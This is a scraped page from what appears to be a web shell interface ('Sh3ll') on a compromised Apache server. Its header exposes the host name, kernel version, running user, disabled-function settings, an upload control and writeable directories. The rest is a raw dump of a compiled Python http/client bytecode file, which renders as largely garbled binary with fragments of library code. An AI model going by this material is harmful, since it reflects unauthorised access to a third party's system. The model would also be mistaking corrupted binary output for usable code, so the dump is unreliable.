Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /opt/alt/python311/lib64/python3.11/http/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python311/lib64/python3.11/http/__pycache__/client.cpython-311.opt-2.pyc
�

�,d����<�	ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z
ddlmZgd�Z
dZdZdZdZdZd	Ze���ejj��d
�ejj���D��ZdZdZejd
��jZejd��jZ ejd��Z!ejd��Z"hd�Z#d:d�Z$Gd�dej%j&��Z'd�Z(e'fd�Z)Gd�dej*��Z+Gd�d��Z,	ddl-Z-Gd�de,��Z.e
�/d��n#e0$rYnwxYwGd�de1��Z2Gd �d!e2��Z3Gd"�d#e2��Z4Gd$�d%e2��Z5Gd&�d'e2��Z6Gd(�d)e2��Z7Gd*�d+e2��Z8Gd,�d-e2��Z9Gd.�d/e9��Z:Gd0�d1e9��Z;Gd2�d3e9��Z<Gd4�d5e2��Z=Gd6�d7e2��Z>Gd8�d9e?e=��Z@e2ZAdS);�N)�urlsplit)�HTTPResponse�HTTPConnection�
HTTPException�NotConnected�UnknownProtocol�UnknownTransferEncoding�UnimplementedFileMode�IncompleteRead�
InvalidURL�ImproperConnectionState�CannotSendRequest�CannotSendHeader�ResponseNotReady�
BadStatusLine�LineTooLong�RemoteDisconnected�error�	responses�Pi��UNKNOWN�IdlezRequest-startedzRequest-sentc��i|]
}||j��S�)�phrase)�.0�vs  �2/opt/alt/python311/lib64/python3.11/http/client.py�
<dictcomp>rls��G�G�G�Q�Q���G�G�G�i�ds[^:\s][^:\r\n]*s\n(?![ \t])|\r(?![ \t\n])z[- ]z[-]>�PUT�POST�PATCH�datac
��		|�d��S#t$r[}t|j|j|j|j|����d||j|j�d�d|�d���d�d}~wwxYw)N�latin-1z (z.20z) is not valid Latin-1. Use z9.encode('utf-8') if you want to send it encoded in UTF-8.)�encode�UnicodeEncodeError�encoding�object�start�end�title)r%�name�errs   r�_encoder1�s���F�
E��{�{�9�%�%�%���E�E�E� ��L��J��I��G��Z�Z�\�\�\�\�4��	�#�'� 1�2�2�2�2�D�D�D�
:�;�;�AE�	E�����E���s��
A=�AA8�8A=c��eZdZd�ZdS)�HTTPMessagec�:�	|���dz}t|��}g}d}|���D]Z}|d|����|krd}n|dd����sd}|r|�|���[|S)N�:r�)�lower�len�keys�isspace�append)�selfr/�n�lst�hit�lines      r�getallmatchingheadersz!HTTPMessage.getallmatchingheaders�s���	��z�z�|�|�c�!����I�I�������I�I�K�K�	!�	!�D��B�Q�B�x�~�~���4�'�'�����"�1�"�X�%�%�'�'�
����
!��
�
�4� � � ���
r N)�__name__�
__module__�__qualname__rArr rr3r3�s#����������r r3c�*�	g}	|�tdz��}t|��tkrtd���|�|��t|��t
krt
dt
z���|dvrn��|S)NTr6�header linezgot more than %d headers��
�
r )�readline�_MAXLINEr8rr;�_MAXHEADERSr)�fp�headersr@s   r�
_read_headersrO�s����
�G���{�{�8�a�<�(�(���t�9�9�x����m�,�,�,����t�����w�<�<�+�%�%�� :�[� H�I�I�I��(�(�(����Nr c���	t|��}d�|���d��}tj�|����|��S)Nr �
iso-8859-1)�_class)rO�join�decode�email�parser�Parser�parsestr)rMrRrN�hstrings    r�
parse_headersrZ�s\����B���G��h�h�w���&�&�|�4�4�G��<���f��-�-�6�6�w�?�?�?r c����eZdZd"d�Zd�Zd�Zd�Zd�Z�fd�Z�fd	�Z	d
�Z
d�Zd#d�Zd
�Z
d�Zd�Zd�Zd#d�Zd�Zd�Zd�Zd$d�Zd$d�Zd$�fd�	Zd�Zd�Zd�Zd#d�Zd�Zd�Zd�Zd �Zd!�Z �xZ!S)%rrNc��|�d��|_||_||_dx|_|_t|_t|_t|_	t|_
t|_t|_t|_
dS)N�rb)�makefilerM�
debuglevel�_methodrN�msg�_UNKNOWN�version�status�reason�chunked�
chunk_left�length�
will_close)r<�sockr_�method�urls     r�__init__zHTTPResponse.__init__�sl���-�-��%�%���$������#'�&���t�x� ������������"������"����r c���t|j�tdz��d��}t	|��tkrtd���|jdkrtdt|����|std���	|�
dd��\}}}n?#t$r2	|�
dd��\}}d}n#t$rd}YnwxYwYnwxYw|�d	��s#|�
��t|���	t|��}|d
ks|dkrt|���n#t$rt|���wxYw|||fS)Nr6rQzstatus linerzreply:z-Remote end closed connection without response��zHTTP/r!i�)�strrMrJrKr8rr_�print�reprr�split�
ValueError�
startswith�_close_connr�int)r<r@rcrdres     r�_read_statuszHTTPResponse._read_statuss����4�7�#�#�H�q�L�1�1�<�@�@���t�9�9�x����m�,�,�,��?�Q����(�D��J�J�'�'�'��	2�%�&1�2�2�
2�	�&*�j�j��q�&9�&9�#�G�V�V�V���	�	�	�
�"&�*�*�T�1�"5�"5���������
�
�
�����
������		�����!�!�'�*�*�	&���������%�%�%�	&���[�[�F���|�|�v��|�|�#�D�)�)�)� ,���	&�	&�	&���%�%�%�	&�������&�&sB�B-�-
C)�8C�C)�C#� C)�"C#�#C)�(C)�%*E�E*c��|j�dS	|���\}}}|tkrn1t|j��}|jdkrt
d|��~�U|x|_|_|�	��|_
|dvrd|_n,|�d��rd|_nt|���t|j��x|_|_|jdkr3|j���D]\}}t
d|d	z|���|j�d
��}|r'|���dkrd|_d|_nd|_|���|_d|_|j�d
��}|rF|js?	t1|��|_|jdkrd|_n#t2$r
d|_YnwxYwd|_|t4ks%|t6ksd|cxkrdks
n|jdkrd|_|js|js|j�
d|_dSdSdSdS)NTrzheaders:)zHTTP/1.0zHTTP/0.9�
zHTTP/1.��header:r5�transfer-encodingrfF�content-lengthr!���HEAD)rNry�CONTINUErOrMr_rr�coderd�striprercrvrrZra�items�getr7rfrg�_check_closerirhrxru�
NO_CONTENT�NOT_MODIFIEDr`)	r<rcrdre�skipped_headers�hdr�val�tr_encrhs	         r�beginzHTTPResponse.begin7s����<�#��F�	 �&*�&7�&7�&9�&9�#�G�V�V���!�!��+�D�G�4�4�O����"�"��j�/�2�2�2��	 �#)�(��	�D�K��l�l�n�n����.�.�.��D�L�L�
�
�
�	�
*�
*�	+��D�L�L�!�'�*�*�*�"/���"8�"8�8���t�x��?�Q��� �L�.�.�0�0�
1�
1���S��i��s��C�0�0�0�0���!�!�"5�6�6���	!�f�l�l�n�n�	�1�1��D�L�"�D�O�O� �D�L��+�+�-�-��������!�!�"2�3�3���		�$�,�		�
'�!�&�k�k����;��?�?�"&�D�K���	�
#�
#�
#�"�����
#�����D�K�
�j� � �F�l�$:�$:��6�����C������L�F�"�"��D�K�
��	#���	#��K��"�D�O�O�O�	#�	#�	#�	#��s�+G�G&�%G&c�\�|j�d��}|jdkr|rd|���vrdSdS|j�d��rdS|rd|���vrdS|j�d��}|rd|���vrdSdS)N�
connectionr|�closeTFz
keep-alivezproxy-connection)rNr�rcr7)r<�conn�pconns   rr�zHTTPResponse._check_closes����|����-�-���<�2����
��4�:�:�<�<�/�/��t��5��<���L�)�)�	��5��	�L�D�J�J�L�L�0�0��5��� � �!3�4�4���	�\�U�[�[�]�]�2�2��5��tr c�J�|j}d|_|���dS�N)rMr�)r<rMs  rrwzHTTPResponse._close_conn�s!��
�W�����
���
�
�
�
�
r c����	t�����|jr|���dSdS#|jr|���wwxYwr�)�superr�rMrw�r<�	__class__s �rr�zHTTPResponse.close�sl���	#��G�G�M�M�O�O�O��w�
#�� � �"�"�"�"�"�
#�
#��t�w�
#�� � �"�"�"�"�
#���s� A�A c���t�����|jr|j���dSdSr�)r��flushrMr�s �rr�zHTTPResponse.flush�s;���
���
�
�����7�	��G�M�M�O�O�O�O�O�	�	r c��	dS)NTr�r<s r�readablezHTTPResponse.readable�s
��!��tr c��	|jduSr�)rMr�s r�isclosedzHTTPResponse.isclosed�s��/��w�$��r c��	|j�dS|jdkr|���dS|jr|�|��S|��|j�||jkr|j}|j�|��}|s|r|���n?|j�8|xjt|��zc_|js|���|S|j�|j���}nF	|�|j��}n##t$r|����wxYwd|_|���|S)Nr r�r)
rMr`rwrf�
_read_chunkedrh�readr8�
_safe_readr)r<�amt�ss   rr�zHTTPResponse.read�sp��M��7�?��3��<�6�!�!��������3��<�	+��%�%�c�*�*�*��?��{�&�3���+<�+<��k������S�!�!�A��
'��
'�� � �"�"�"�"���(����s�1�v�v�%����{�'��$�$�&�&�&��H��{�"��G�L�L�N�N���������4�4�A�A��%�����$�$�&�&�&������ ����������Hs�9D� D4c���	|j�dS|jdkr|���dS|jr|�|��S|j�4t
|��|jkrt|��d|j�}|j�|��}|s|r|���n2|j�+|xj|zc_|js|���|S)Nrr�)	rMr`rwrf�_readinto_chunkedrhr8�
memoryview�readinto)r<�br=s   rr�zHTTPResponse.readinto�s���	��7�?��1��<�6�!�!��������1��<�	-��)�)�!�,�,�,��;�"��1�v�v���#�#��q�M�M�!�D�K�-�0��

�G���Q�����	#�Q�	#�
�������
�[�
$��K�K�1��K�K��;�
#�� � �"�"�"��r c�F�|j�tdz��}t|��tkrt	d���|�d��}|dkr
|d|�}	t
|d��S#t$r|����wxYw)Nr6z
chunk size�;r�)	rMrJrKr8r�findrxrurw)r<r@�is   r�_read_next_chunk_sizez"HTTPResponse._read_next_chunk_sizes����w����1��-�-���t�9�9�x����l�+�+�+��I�I�d�O�O����6�6�����8�D�	��t�R�=�=� ���	�	�	�
�������		���s�0B� B c��	|j�tdz��}t|��tkrt	d���|sdS|dvrdS�T)NTr6ztrailer linerG)rMrJrKr8r�r<r@s  r�_read_and_discard_trailerz&HTTPResponse._read_and_discard_trailersd��		��7�#�#�H�q�L�1�1�D��4�y�y�8�#�#�!�.�1�1�1��
����,�,�,���		r c��|j}|s�|�|�d��	|���}n#t$rt	d���wxYw|dkr*|���|���d}||_|S)Nror r)rgr�r�rurr�rw)r<rgs  r�_get_chunk_leftzHTTPResponse._get_chunk_left*s����_�
��	)��%�����"�"�"�
*�!�7�7�9�9�
�
���
*�
*�
*�$�S�)�)�)�
*�����Q����.�.�0�0�0�� � �"�"�"�!�
�(�D�O��s	�7�Ac��g}		|���}|�nr|�9||kr3|�|�|����||z
|_n7|�|�|����|�||z}d|_��d�|��S#t
$r(}td�|����|�d}~wwxYw)NTrr )r�r;r�rgrSr)r<r��valuerg�excs     rr�zHTTPResponse._read_chunkedBs�����	;�

$�!�1�1�3�3�
��%���?�s�j�'8�'8��L�L�����!5�!5�6�6�6�&0�3�&6�D�O�����T�_�_�Z�8�8�9�9�9��?��:�%�C�"#���

$��8�8�E�?�?�"���	;�	;�	;� ����%���1�1�s�:�����	;���s�BB#�#
C�-#C�Cc��d}t|��}		|���}|�|St|��|kr$|�|��}||z
|_||zS|d|�}|�|��}||d�}||z
}d|_��#t
$r%tt
|d|������wxYw)Nr)r�r�r8�_safe_readintorgr�bytes)r<r��total_bytes�mvbrgr=�temp_mvbs       rr�zHTTPResponse._readinto_chunkedXs�������m�m��	:�
$�!�1�1�3�3�
��%�&�&��s�8�8�z�)�)��+�+�C�0�0�A�&0�1�n�D�O�&��?�*��{�
�{�+���'�'��1�1���!�"�"�g���q� ��"#���
$�� �	:�	:�	:� ��q��;��'7�!8�!8�9�9�9�	:���s�B�6B�#6B�/Cc��	|j�|��}t|��|kr t||t|��z
���|Sr�)rMr�r8r)r<r�r%s   rr�zHTTPResponse._safe_readpsJ��	��w�|�|�C� � ���t�9�9�s�?�?� ��s�3�t�9�9�}�5�5�5��r c��	t|��}|j�|��}||kr(tt	|d|���||z
���|Sr�)r8rMr�rr�)r<r�r�r=s    rr�zHTTPResponse._safe_readinto|sU��@��!�f�f���G���Q�����s�7�7� ��q��!��u���s�1�u�5�5�5��r ���c�T�	|j�|jdkrdS|jr|�|��S|j�|dks||jkr|j}|j�|��}|s|r|���n$|j�|xjt|��zc_|S�Nr�r r)rMr`rf�_read1_chunkedrh�read1rwr8)r<r=�results   rr�zHTTPResponse.read1�s���	��7�?�d�l�f�4�4��3��<�	*��&�&�q�)�)�)��;�"��A����T�[�����A�����q�!�!���	'�!�	'��������
�[�
$��K�K�3�v�;�;�&�K�K��
r c��|j�|jdkrdS|jr|�|��S|j�|��S)Nr�r )rMr`rf�
_peek_chunked�peek)r<r=s  rr�zHTTPResponse.peek�sL���7�?�d�l�f�4�4��3��<�	)��%�%�a�(�(�(��w�|�|�A���r c�l��|j�|jdkrdS|jr!t���|��S|j�|dks||jkr|j}|j�|��}|s|r|���n$|j�|xjt|��zc_|Sr�)rMr`rfr�rJrhrwr8)r<�limitr�r�s   �rrJzHTTPResponse.readline�s�����7�?�d�l�f�4�4��3��<�	+��7�7�#�#�E�*�*�*��;�"���	�	�U�T�[�5H�5H��K�E���!�!�%�(�(���	'�%�	'��������
�[�
$��K�K�3�v�;�;�&�K�K��
r c���|���}|�|dkrdSd|cxkr|ksn|}|j�|��}|xjt	|��zc_|std���|S)Nrr )r�rMr�rgr8r)r<r=rgr�s    rr�zHTTPResponse._read1_chunked�s����)�)�+�+�
����a����3��Q�$�$�$�$�*�$�$�$�$��A��w�}�}�Q�������3�t�9�9�$����	&� ��%�%�%��r c��	|���}n#t$rYdSwxYw|�dS|j�|��d|�S)Nr )r�rrMr�)r<r=rgs   rr�zHTTPResponse._peek_chunked�sf��	��-�-�/�/�J�J���	�	�	��3�3�	�������3��w�|�|�J�'�'����4�4s��
%�%c�4�|j���Sr�)rM�filenor�s rr�zHTTPResponse.fileno�s���w�~�~���r c���	|j�t���|j�|��p|}t|t��st|d��s|Sd�|��S)N�__iter__z, )rNr�get_all�
isinstancerq�hasattrrS)r<r/�defaultrNs    r�	getheaderzHTTPResponse.getheader�sq��
	��<��"�$�$�$��,�&�&�t�,�,�7����g�s�#�#�	&�7�7�J�+G�+G�	&��N��9�9�W�%�%�%r c�z�	|j�t���t|j�����Sr�)rNr�listr�r�s r�
getheaderszHTTPResponse.getheaders�s5��4��<��"�$�$�$��D�L�&�&�(�(�)�)�)r c��|Sr�rr�s rr�zHTTPResponse.__iter__�s���r c��	|jSr�)rNr�s r�infozHTTPResponse.info�s��	�(�|�r c��	|jSr�)rlr�s r�geturlzHTTPResponse.geturls��	��x�r c��	|jSr�)rdr�s r�getcodezHTTPResponse.getcodes��	��{�r )rNNr�)r�)"rBrCrDrmryr�r�rwr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rJr�r�r�r�r�r�r�r�r��
__classcell__�r�s@rrr�s)�������#�#�#�#�<'�'�'�BF#�F#�F#�P���:���
#�#�#�#�#������
������&�&�&�&�P � � �D��� ������0;�;�;�;�,:�:�:�0
�
�
��������"����
�
�
�
�
�
����5�5�5� � � �&�&�&�&�(*�*�*����
���.
�
�
�������r rc��eZdZdZdZeZeZdZ	dZ
ed���Zed���Z
dejddfd	�Zd d
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd!d�Z		d"d�Zd�Zd�Zd�Zd�Zd�Z d#dd�d�Z!difdd�d�Z"d�Z#d�Z$dS)$rr|zHTTP/1.1r6rc�8�	t|tj��Sr�)r��io�
TextIOBase)�streams r�
_is_textIOzHTTPConnection._is_textIO s��	��&�"�-�0�0�0r c��	|�|���tvrdSdSt|d��rdS	t|��}|jS#t
$rYnwxYwt
|t��rt|��SdS)Nrr�)	�upper�_METHODS_EXPECTING_BODYr�r��nbytes�	TypeErrorr�rqr8)�bodyrk�mvs   r�_get_content_lengthz"HTTPConnection._get_content_length&s���	��<��|�|�~�~�!8�8�8��q��t��4�� � �	��4�	��D�!�!�B��9����	�	�	��D�	�����d�C� � �	��t�9�9���ts�A�
A�AN� c�F�||_||_||_d|_g|_d|_t|_d|_d|_	d|_
i|_|�||��\|_
|_|�|j
��t j|_dSr�)�timeout�source_address�	blocksizerj�_buffer�_HTTPConnection__response�_CS_IDLE�_HTTPConnection__stater`�_tunnel_host�_tunnel_port�_tunnel_headers�
_get_hostport�host�port�_validate_host�socket�create_connection�_create_connection)r<r�rr�r�r�s      rrmzHTTPConnection.__init__Fs������,���"�����	������������� ��� ���!���!%�!3�!3�D�$�!?�!?����D�I����D�I�&�&�&�#)�":����r c���	|jrtd���|�||��\|_|_|r	||_dS|j���dS)Nz.Can't set up tunnel for established connection)rj�RuntimeErrorr�r�r�r��clear)r<r�rrNs    r�
set_tunnelzHTTPConnection.set_tunnel\st��	��9�	Q��O�P�P�P�/3�/A�/A�$��/M�/M�,���4�,��	)�#*�D� � � �� �&�&�(�(�(�(�(r c��|��|�d��}|�d��}||krm	t||dzd���}nF#t$r9||dzd�dkr|j}nt	d||dzd�z���YnwxYw|d|�}n|j}|r"|ddkr|ddkr
|dd�}||fS)	Nr5�]r6rpznonnumeric port: '%s'r�[r�)�rfindrxru�default_portr)r<r�rr��js     rr�zHTTPConnection._get_hostportts���<��
�
�3���A��
�
�3���A��1�u�u�O��t�A�a�C�D�D�z�?�?�D�D��!�O�O�O��A�a�C�D�D�z�R�'�'�#�0���(�)@�4��!����:�)M�N�N�N���O����
�B�Q�B�x����(���
"��Q��3���4��8�s�?�?��A�b�D�z���d�|�s�A�AB�Bc��||_dSr�)r_)r<�levels  r�set_debuglevelzHTTPConnection.set_debuglevel�s
������r c�|�d|j�d��|jfz}|g}|j���D]3\}}|�|�d|�d��d�����4|�d��|�d�|����~|�|j	|j
���}|���\}}}|tj
jkr;|���t!d	|�d
|��������	|j�t(dz��}	t+|	��t(krt-d
���|	sdS|	dvrdS|jdkr"t1d|	�������)NsCONNECT %s:%d HTTP/1.0
�asciiz: �
r'rHr �rkzTunnel connection failed: � Tr6rFrGrr})r�r(r�r�r�r;�sendrS�response_classrjr`ry�http�
HTTPStatus�OKr��OSErrorr�rMrJrKr8rr_rrrT)
r<�connectrN�headerr��responsercr��messager@s
          r�_tunnelzHTTPConnection._tunnel�s���/���$�$�W�-�-�t�/@�3B�B���)��!�1�7�7�9�9�	G�	G�M�F�E��N�N�f�3�3��3�3�3�:�:�9�E�E�F�F�F�F����w����	
�	�	�#�(�(�7�#�#�$�$�$���&�&�t�y���&�F�F��#+�#8�#8�#:�#:� ��$���4�?�%�%�%��J�J�L�L�L��O�t�O�O�g�m�m�o�o�O�O�P�P�P�	0��;�'�'��1��5�5�D��4�y�y�8�#�#�!�-�0�0�0��
����,�,�,������"�"��i������/�/�/�	0r c��	tjd||j|j��|�|j|jf|j|j��|_	|j�tj
tjd��n-#t$r }|j
tjkr�Yd}~nd}~wwxYw|jr|���dSdS)Nzhttp.client.connectr6)�sys�auditr�rrr�r�rj�
setsockoptr�IPPROTO_TCP�TCP_NODELAYr�errno�ENOPROTOOPTr�r!�r<�es  rrzHTTPConnection.connect�s���A��	�'��t�y�$�)�D�D�D��+�+�
�Y�t�y�!�4�<��1D�F�F��	�	��I� � ��!3�V�5G��K�K�K�K���	�	�	��w�%�+�+�+��,�+�+�+�+�����	������	��L�L�N�N�N�N�N�	�	s�0B�
B1�B,�,B1c�
�	t|_	|j}|rd|_|���|j}|rd|_|���dSdS#|j}|rd|_|���wwxYwr�)r�r�rjr�r�)r<rjrs   rr�zHTTPConnection.close�s���6����		!��9�D��
� ��	��
�
������H��
!�"&������ � � � � �
!�
!����H��
!�"&������ � � � �
!���s�$A�'Bc�~�	|j�*|jr|���nt���|jdkrtdt
|����t|d��r�|jdkrtd��|�|��}|r|jdkrtd��	|�	|j
��}|snH|r|�d��}tj
d||��|j�|���edStj
d||��	|j�|��dS#t$rat!|t"jj��r"|D]}|j�|���YdStd	t)|��z���wxYw)
Nrzsend:r��sendIng a read()able�encoding file using iso-8859-1r6rQzhttp.client.sendz9data should be a bytes-like object or an iterable, got %r)rj�	auto_openrrr_rrrsr�r�r�r�r(r#r$�sendallr�r��collections�abc�Iterable�type)r<r%r(�	datablock�ds     rrzHTTPConnection.send�s���	�
�9���~�
%��������"�n�n�$��?�Q����'�4��:�:�&�&�&��4�� � �	����"�"��,�-�-�-��_�_�T�*�*�F��
8�$�/�A�-�-��6�7�7�7�
-� �I�I�d�n�5�5�	� ����?� )� 0� 0�� >� >�I��	�,�d�I�>�>�>��	�!�!�)�,�,�,�
-�
�F��	�$�d�D�1�1�1�	G��I���d�#�#�#�#�#���	G�	G�	G��$��� 8�9�9�
G��)�)�A��I�%�%�a�(�(�(�(�)�)�)� �!9�;?��:�:�!F�G�G�G�	G���s�5E�AF<� F<c�<�	|j�|��dSr�)r�r;)r<r�s  r�_outputzHTTPConnection._output�s%��	�	
����A�����r c#�K�|jdkrtd��|�|��}|r|jdkrtd��	|�|j��}|sdS|r|�d��}|V��:)Nrr.r/TrQ)r_rrr�r�r�r()r<r�r(r6s    r�_read_readablezHTTPConnection._read_readable�s������?�Q����(�)�)�)�����*�*���	4�d�o��)�)��2�3�3�3�	� �
�
�d�n�5�5�I��
����
;�%�,�,�\�:�:�	��O�O�O�
	r Fc���	|j�d��d�|j��}|jdd�=|�|��|��t	|d��r|�|��}nb	t
|��|f}nN#t$rA	t|��}n-#t$r tdt|��z���wxYwYnwxYw|D]m}|s|j
dkrtd���|r7|jdkr,t|��d�d	��d
��|zdz}|�|���n|r$|jdkr|�d��dSdSdSdS)N)r r rHr�zAmessage_body should be a bytes-like object or an iterable, got %rrzZero length chunk ignoredr|�Xrrs0

)r��extendrSrr�r;r�r��iterr5r_rr�	_http_vsnr8r()r<�message_body�encode_chunkedra�chunks�chunks      r�_send_outputzHTTPConnection._send_outputs���	�
	
����J�'�'�'��l�l�4�<�(�(���L����O��	�	�#�����#��|�V�,�,�
-��,�,�\�:�:���-�
�|�,�,�,�+�_�F�F��!�>�>�>�>�!%�l�!3�!3����$�>�>�>�'�)H�*.�|�*<�*<�)=�>�>�>�>������>���� �

!�

!�������*�*��9�:�:�:��!�"�d�n��&:�&:�"�5�z�z�1�1�1�1�8�8��A�A�E�I�!�"�E��	�	�%� � � � ��
(�$�.�B�"6�"6��	�	�,�'�'�'�'�'�S$�#�N
(�
(�"6�"6s*�?B�
C�B-�,C�-*C�C�Cc��	|jr |j���rd|_|jtkr
t|_nt|j���|�|��||_|pd}|�|��|�d|�d|j	��}|�
|�|����|jdk�rs|�sTd}|�
d��rt|��\}}}}}|rS	|�d��}n%#t $r|�d��}YnwxYw|�d|��n�|jr|j}	|j}
n|j}	|j}
	|	�d��}n%#t $r|	�d��}YnwxYw|	�d	��d
krd|zdz}|
|jkr|�d|��n0|�d��}|�d|�d	|
����|s|�d
d��dSdSdS)N�/rr|rprr�idna�Hostr5r�[�]zAccept-Encoding�identity)r�r�r�r��_CS_REQ_STARTEDr�_validate_methodr`�_validate_path�
_http_vsn_strr9�_encode_requestr@rvrr(r)�	putheaderr�r�r�rr�r
rT)r<rkrl�	skip_host�skip_accept_encoding�request�netloc�nil�
netloc_encr�r�host_encs            r�
putrequestzHTTPConnection.putrequest;s���	��?�	#�t��7�7�9�9�	#�"�D�O�*�<�8�#�#�*�D�L�L�#�D�L�1�1�1����f�%�%�%�����j�S�����C� � � � &������T�-?�-?�@�����T�)�)�'�2�2�3�3�3��>�R����0
K����>�>�&�)�)�?�19�#���.�C���c�3��K�;�%+�]�]�7�%;�%;�
�
��-�;�;�;�%+�]�]�6�%:�%:�
�
�
�;�����N�N�6�:�6�6�6�6��(�)�#�0��#�0���#�y��#�y��7�#'�;�;�w�#7�#7����-�7�7�7�#'�;�;�v�#6�#6����7�����y�y��~�~��*�*�#'�(�?�T�#9���t�0�0�0����v�x�8�8�8�8�#+�?�?�7�#;�#;�����v�(�(�(�D�D�/I�J�J�J�(�
>����0�*�=�=�=�=�=�
>�
>�
�Ds$�D�D<�;D<�;F�F3�2F3c�,�|�d��S)Nr)r()r<rUs  rrQzHTTPConnection._encode_request�s���~�~�g�&�&�&r c��	t�|��}|r(td|�d|����d����dS)Nz)method can't contain control characters. � (found at least �))�$_contains_disallowed_method_pchar_re�searchru�group)r<rk�matchs   rrNzHTTPConnection._validate_method�sg��4�4�;�;�F�C�C���	;��:��:�:�',�{�{�}�}�:�:�:�;�;�
;�	;�	;r c��	t�|��}|r(td|�d|����d����dS�Nz&URL can't contain control characters. r]r^��!_contains_disallowed_url_pchar_rer`rra)r<rlrbs   rrOzHTTPConnection._validate_path�ss��,�1�8�8��=�=���	D��C�c�C�C�05���
�
�C�C�C�D�D�
D�	D�	Dr c��	t�|��}|r(td|�d|����d����dSrdre)r<r�rbs   rrzHTTPConnection._validate_host�ss��G�1�8�8��>�>���	D��C�d�C�C�05���
�
�C�C�C�D�D�
D�	D�	Dr c��	|jtkrt���t|d��r|�d��}t|��st
d|�����t|��}t|��D]�\}}t|d��r|�d��||<n:t|t��r%t|���d��||<t||��rt
d||�������d�
|��}|dz|z}|�|��dS)Nr(rzInvalid header name r'zInvalid header value s
	s: )r�rMrr�r(�_is_legal_header_namerur��	enumerater�rxrq�_is_illegal_header_valuerSr9)r<r�valuesr��	one_valuer�s      rrRzHTTPConnection.putheader�sZ��	��<�?�*�*�"�$�$�$��6�8�$�$�	,��]�]�7�+�+�F�$�V�,�,�	C��*���A�B�B�B��f����%�f�-�-�	K�	K�L�A�y��y�(�+�+�
;�%�,�,�Y�7�7��q�	�	��I�s�+�+�
;��	�N�N�1�1�'�:�:��q�	�'��q�	�2�2�
K� �j�f�Q�i�i�!I�J�J�J�
K����v�&�&���%��%�'�����V�����r �rBc��	|jtkr
t|_nt���|�||���dS)Nrn)r�rM�_CS_REQ_SENTrrE)r<rArBs   r�
endheaderszHTTPConnection.endheaders�sJ��	��<�?�*�*�'�D�L�L�"�$�$�$����,�~��F�F�F�F�Fr c�:�	|�|||||��dSr�)�
_send_request)r<rkrlr�rNrBs      rrUzHTTPConnection.requests'��4����6�3��g�~�F�F�F�F�Fr c�V�td�|D����}i}d|vrd|d<d|vrd|d<|j||fi|��d|vrzd|vrud	}|�||��}|�8|�5|jd
krt	d|z��d}|�d
d��n&|�dt
|����nd	}|���D]\}	}
|�|	|
���t|t��rt|d��}|�
||���dS)Nc3�>K�|]}|���V��dSr�)r7)r�ks  r�	<genexpr>z/HTTPConnection._send_request.<locals>.<genexpr>s*���� <� <�q������ <� <� <� <� <� <r r�r6rSzaccept-encodingrTrr~FrzUnable to determine size of %rTzTransfer-EncodingrfzContent-Lengthr�rn)�	frozensetrZr�r_rrrRrqr�r�r1rq)r<rkrlr�rNrB�header_names�skips�content_lengthr�r�s           rrszHTTPConnection._send_requests|�� � <� <�G� <� <� <�<�<�����\�!�!�!"�E�+����,�,�,-�E�(�)������-�-�u�-�-�-��<�/�/�#�,�6�6�"'��!%�!9�!9�$��!G�!G��!�)��'��?�Q�.�.�!�"B�T�"I�J�J�J�)-�����':�I�F�F�F���N�N�#3�S��5H�5H�I�I�I��"�N�!�-�-�/�/�	'�	'�J�C���N�N�3��&�&�&�&��d�C� � �	)��4��(�(�D�����^��<�<�<�<�<r c�Z�	|jr |j���rd|_|jtks|jrt	|j���|jdkr(|�|j|j|j���}n!|�|j|j���}		|�	��n##t$r|����wxYwt|_|j
r|���n||_|S#|����xYw)Nrr)r�r�r�rprr_rrjr`r��ConnectionErrorr�r�ri)r<rs  r�getresponsezHTTPConnection.getresponse3s@��	��?�	#�t��7�7�9�9�	#�"�D�O�"�<�<�'�'�4�?�'�"�4�<�0�0�0��?�Q����*�*�4�9�d�o�26�,�+�@�@�H�H��*�*�4�9�T�\�*�J�J�H�	�
���� � � � ��"�
�
�
��
�
�����
����$�D�L��"�
+��
�
�����#+����O��	��N�N�������s�*B?�>D�? C�3D�D*)NN)NF)FFr�)%rBrCrDr@rPrr�	HTTP_PORTr
r0r_�staticmethodr�r�r�_GLOBAL_DEFAULT_TIMEOUTrmrr�rr!rr�rr9r;rErZrQrNrOrrRrqrUrsr~rr rrrs�������I��M�!�N��L��I��J��1�1��\�1�
����\��>#'��0N� $��;�;�;�;�,)�)�)�)�0���( � � �0�0�0�@
�
�
�!�!�!�&G�&G�&G�P������4(�4(�4(�4(�l16�(-�}�}�}�}�~'�'�'�;�;�;�D�D�D�D�D�D����8G�e�G�G�G�G�G�)-�b�G�$�G�G�G�G�G�
,=�,=�,=�\=�=�=�=�=r rc�N��eZdZ	eZdddejdfdddd��fd�Z�fd�Z�xZ	S)�HTTPSConnectionNr�)�context�check_hostnamer�c�2��tt|���|||||	���|�|�|� ddl}
|
�dt
d��||_||_|�Btj	��}|j
dkr|�dg��|j�d|_|j
tjk}|�|j}|r|st!d���|s|r$|�||��|j�d|_||_|�||j_dSdS)	N)r�rzTkey_file, cert_file and check_hostname are deprecated, use a custom context instead.ror|zhttp/1.1TzMcheck_hostname needs a SSL context with either CERT_OPTIONAL or CERT_REQUIRED)r�r�rm�warnings�warn�DeprecationWarning�key_file�	cert_file�ssl�_create_default_https_contextr@�set_alpn_protocols�post_handshake_auth�verify_mode�	CERT_NONEr�ru�load_cert_chain�_context)
r<r�rr�r�r�r�r�r�r�r��will_verifyr�s
            �rrmzHTTPSConnection.__init__~su���
�/�4�(�(�1�1�$��g�2@�<E�
2�
G�
G�
G��$�	�(=�&�2������
�
�J�0�!�5�5�5�%�D�M�&�D�N����;�=�=���>�R�'�'��.�.�
�|�<�<�<��.�:�26�G�/�!�-���>�K��%�!(�!7���
J�k�
J� �"I�J�J�J��
7�9�
7��'�'�	�8�<�<�<��.�:�26�G�/�#�D�M��)�/=��
�,�,�,�*�)r c����	t�����|jr|j}n|j}|j�|j|���|_dS)N)�server_hostname)r�rr�r�r��wrap_socketrj)r<r�r�s  �rrzHTTPSConnection.connect�sa���6��G�G�O�O����� �
,�"&�"3���"&�)���
�1�1�$�)�BQ�2�S�S�D�I�I�Ir )
rBrCrD�
HTTPS_PORTr
